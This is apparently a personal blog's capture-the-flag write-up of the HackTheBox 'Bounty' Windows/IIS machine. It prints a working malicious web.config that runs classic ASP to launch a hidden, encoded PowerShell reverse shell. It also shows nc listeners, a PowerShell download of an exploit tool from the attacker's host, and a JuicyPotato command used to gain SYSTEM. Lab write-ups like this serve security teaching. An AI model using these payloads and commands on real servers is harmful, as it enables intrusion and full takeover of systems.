HTB: Bounty
← Back to the log
October 1, 2026·Johnytiger

HTB: Bounty

One open port and a picture of a wizard. An upload page that rejects everything except a web config, which IIS will happily execute, and the impersonate privilege on the service account turns that foothold into SYSTEM.

securityctfwriteuphacktheboxwindowswebiisprivilege escalation

Starting things off with an nmap scan we can see all we have is port 80 with a site hosted on it.

The nmap scan showing a single open port running Microsoft IIS 7.5, with the page titled Bounty

It's an IIS box with just a picture of a wizard on the front.

The landing page, a bare white page with a cartoon wizard image and nothing else

Let's save that picture to our work folder and run exiftool on it.

exiftool merlin.jpg

The exiftool output for the wizard image, full of Photoshop slice metadata but no hidden payload

There's some stuff in here that made me think steganography at first, but it's all just leftover Photoshop metadata. Dead end, so let's enumerate the site properly instead.

feroxbuster -u http://10.129.98.146/ \
  -x aspx,html,txt,pdf,config,conf,bak,zip,xml,ps1 \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

feroxbuster finding a transfer page alongside an uploaded files directory

We find a transfer page we can land on, plus the directory where uploads end up. That pair is the whole box: somewhere to upload, and somewhere the uploaded file is served from.

Most extensions get rejected, but IIS will happily execute a web config file. Let's upload one with a reverse shell inside it.

The crafted web config in Burp, with the ISAPI handler mapping at the top and the classic ASP payload below the closing configuration tag

We get an error on the first attempt.

The transfer page returning a server runtime error after the upload

After a bunch of trial and error, the fix turns out to be dropping the access policy attribute from the handler. With that gone the file uploads and executes. Here's the config that worked.

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <handlers>
      <add name="web_config" path="*.config" verb="*" modules="IsapiModule"
           scriptProcessor="%windir%\system32\inetsrv\asp.dll"
           resourceType="Unspecified" preCondition="bitness64" />
    </handlers>
    <security>
      <requestFiltering>
        <fileExtensions>
          <remove fileExtension=".config" />
        </fileExtensions>
        <hiddenSegments>
          <remove segment="web.config" />
        </hiddenSegments>
      </requestFiltering>
    </security>
  </system.webServer>
</configuration>

<% Response.write("-"&"->") %>
<%
  Set wShell1 = CreateObject("WScript.Shell")
  Set cmd1 = wShell1.Exec("cmd.exe /c powershell -nop -w hidden -enc <base64 payload>")
%>
<% Response.write("<-"&"-") %>

The two blocks are doing separate jobs. The XML tells IIS to hand any config file to the classic ASP processor and strips the filters that would normally block it. The ASP below the closing tag is what actually runs, and it sits outside the XML so the parser ignores it while the ASP engine still executes it.

nc -lnvp 443

A reverse shell landing as the merlin account under the IIS service directory

We get a shell. Let's check our permissions.

whoami /all

whoami output showing the impersonate privilege enabled on this token

We have the impersonate privilege, which on a service account is the classic route to SYSTEM. Let's bring over a potato and let it rip.

(New-Object Net.WebClient).DownloadFile('http://10.10.14.211/GodPotato-NET4.exe','gp.exe')

Downloading the first potato tool into the writable temp directory under the merlin profile

That one doesn't work on this machine. It's an older Windows build than the tool targets, so we grab JuicyPotato instead, which suits this vintage.

.\jp.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c powershell -nop -w hidden -enc <base64 payload>" -t * -c "{4991D34B-80A1-4291-83B6-3328366B9097}"

JuicyPotato testing the CLSID and reporting a successful token impersonation as the system account

That gets us a shell as the system account.

nc -lnvp 445

A second listener catching the callback, with whoami returning nt authority\system

Looking for the user flag on the merlin desktop we don't find any file there.

The merlin home directory listing, where the desktop folder comes back empty

The desktop listing comes back empty because the file is hidden from a plain directory listing, not because it isn't there. Reading it by full path works fine. So we head over to the administrator desktop for the root flag, then pull the user flag by naming it directly.

type C:\Users\Administrator\Desktop\root.txt
type C:\Users\merlin\Desktop\user.txt

The system shell reading root.txt from the administrator desktop and user.txt from the merlin desktop by full path, with both flag values blurred out

This box was pretty easy. That first web config file was the hardest part. I couldn't figure it out until I started removing bits and pieces.

End of transmissionAll posts
Drive
Johnytiger
HTB: Bounty · Johnytiger